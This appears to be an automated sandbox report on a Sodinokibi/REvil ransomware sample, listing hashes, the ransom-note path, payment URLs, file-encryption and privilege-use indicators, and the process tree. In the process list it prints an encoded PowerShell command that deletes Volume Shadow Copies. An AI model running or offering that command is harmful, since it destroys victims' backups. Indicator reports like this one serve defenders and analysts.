Analysis
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max time kernel
24s -
max time network
112s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
09-11-2020 20:17
Static task
static1
Behavioral task
behavioral1
Sample
ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe
Resource
win10v20201028
General
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Target
ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe
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Size
237KB
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MD5
090ba44dd9f0ca87c9e99aabc79a1500
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SHA1
a4ad09c7c175c937a9916aca649b2d90af7ada68
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SHA256
ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0
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SHA512
b2180c22ee09e8daa9be579753ed26db878d32bf51183d0c70b124af28923f3aa66d31f16c65b19dd15820b36b0eecae64e5e0c017e7995faf7829c9b17c1205
Malware Config
Extracted
C:\b07zsr31b-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7702081DC2209EA7
http://decryptor.cc/7702081DC2209EA7
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Modifies extensions of user files 3 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exedescription ioc process File renamed C:\Users\Admin\Pictures\NewInstall.tif => \??\c:\users\admin\pictures\NewInstall.tif.b07zsr31b ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File renamed C:\Users\Admin\Pictures\SyncComplete.crw => \??\c:\users\admin\pictures\SyncComplete.crw.b07zsr31b ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File renamed C:\Users\Admin\Pictures\UnblockEdit.tif => \??\c:\users\admin\pictures\UnblockEdit.tif.b07zsr31b ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exedescription ioc process File opened (read-only) \??\A: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\G: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\I: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\P: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\W: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\Y: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\X: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\Z: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\E: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\F: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\L: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\Q: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\R: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\V: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\D: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\O: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\S: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\B: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\H: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\J: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\K: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\M: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\N: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\T: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened (read-only) \??\U: ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe -
Modifies service 2 TTPs 5 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5} vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\o5w70wzs.bmp" ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe -
Drops file in Program Files directory 17 IoCs
Processes:
ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exedescription ioc process File opened for modification \??\c:\program files\ResetInstall.emf ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened for modification \??\c:\program files\SendConvert.sql ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File created \??\c:\program files\b07zsr31b-readme.txt ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened for modification \??\c:\program files\ConnectUnregister.edrwx ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened for modification \??\c:\program files\ExportLimit.odt ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened for modification \??\c:\program files\RemoveRevoke.DVR-MS ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened for modification \??\c:\program files\ExpandOptimize.mhtml ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened for modification \??\c:\program files\RepairDismount.potx ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened for modification \??\c:\program files\PopInstall.M2V ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened for modification \??\c:\program files\RedoPublish.zip ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened for modification \??\c:\program files\ResolveTest.php ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened for modification \??\c:\program files\NewRedo.mov ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened for modification \??\c:\program files\ResetRemove.001 ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File created \??\c:\program files (x86)\b07zsr31b-readme.txt ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened for modification \??\c:\program files\CompleteUnpublish.mpe ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened for modification \??\c:\program files\DebugUndo.pptm ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe File opened for modification \??\c:\program files\DebugUnpublish.vbe ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exepowershell.exepid process 4700 ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe 4700 ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe 784 powershell.exe 784 powershell.exe 784 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 4700 ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe Token: SeDebugPrivilege 784 powershell.exe Token: SeBackupPrivilege 816 vssvc.exe Token: SeRestorePrivilege 816 vssvc.exe Token: SeAuditPrivilege 816 vssvc.exe Token: SeTakeOwnershipPrivilege 4700 ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exedescription pid process target process PID 4700 wrote to memory of 784 4700 ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe powershell.exe PID 4700 wrote to memory of 784 4700 ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe"C:\Users\Admin\AppData\Local\Temp\ba5ad1edfdfaecc2becdd7f08922be08b37450556a503e3bd06119ba57facef0.exe"1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/784-2-0x0000000000000000-mapping.dmp
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memory/784-3-0x00007FF9886A0000-0x00007FF98908C000-memory.dmpFilesize
9.9MB
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memory/784-4-0x000001ECA32E0000-0x000001ECA32E1000-memory.dmpFilesize
4KB
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memory/784-5-0x000001ECA3490000-0x000001ECA3491000-memory.dmpFilesize
4KB
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memory/4700-0-0x0000000000BF1000-0x0000000000BF2000-memory.dmpFilesize
4KB
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memory/4700-1-0x0000000000CE0000-0x0000000000CE1000-memory.dmpFilesize
4KB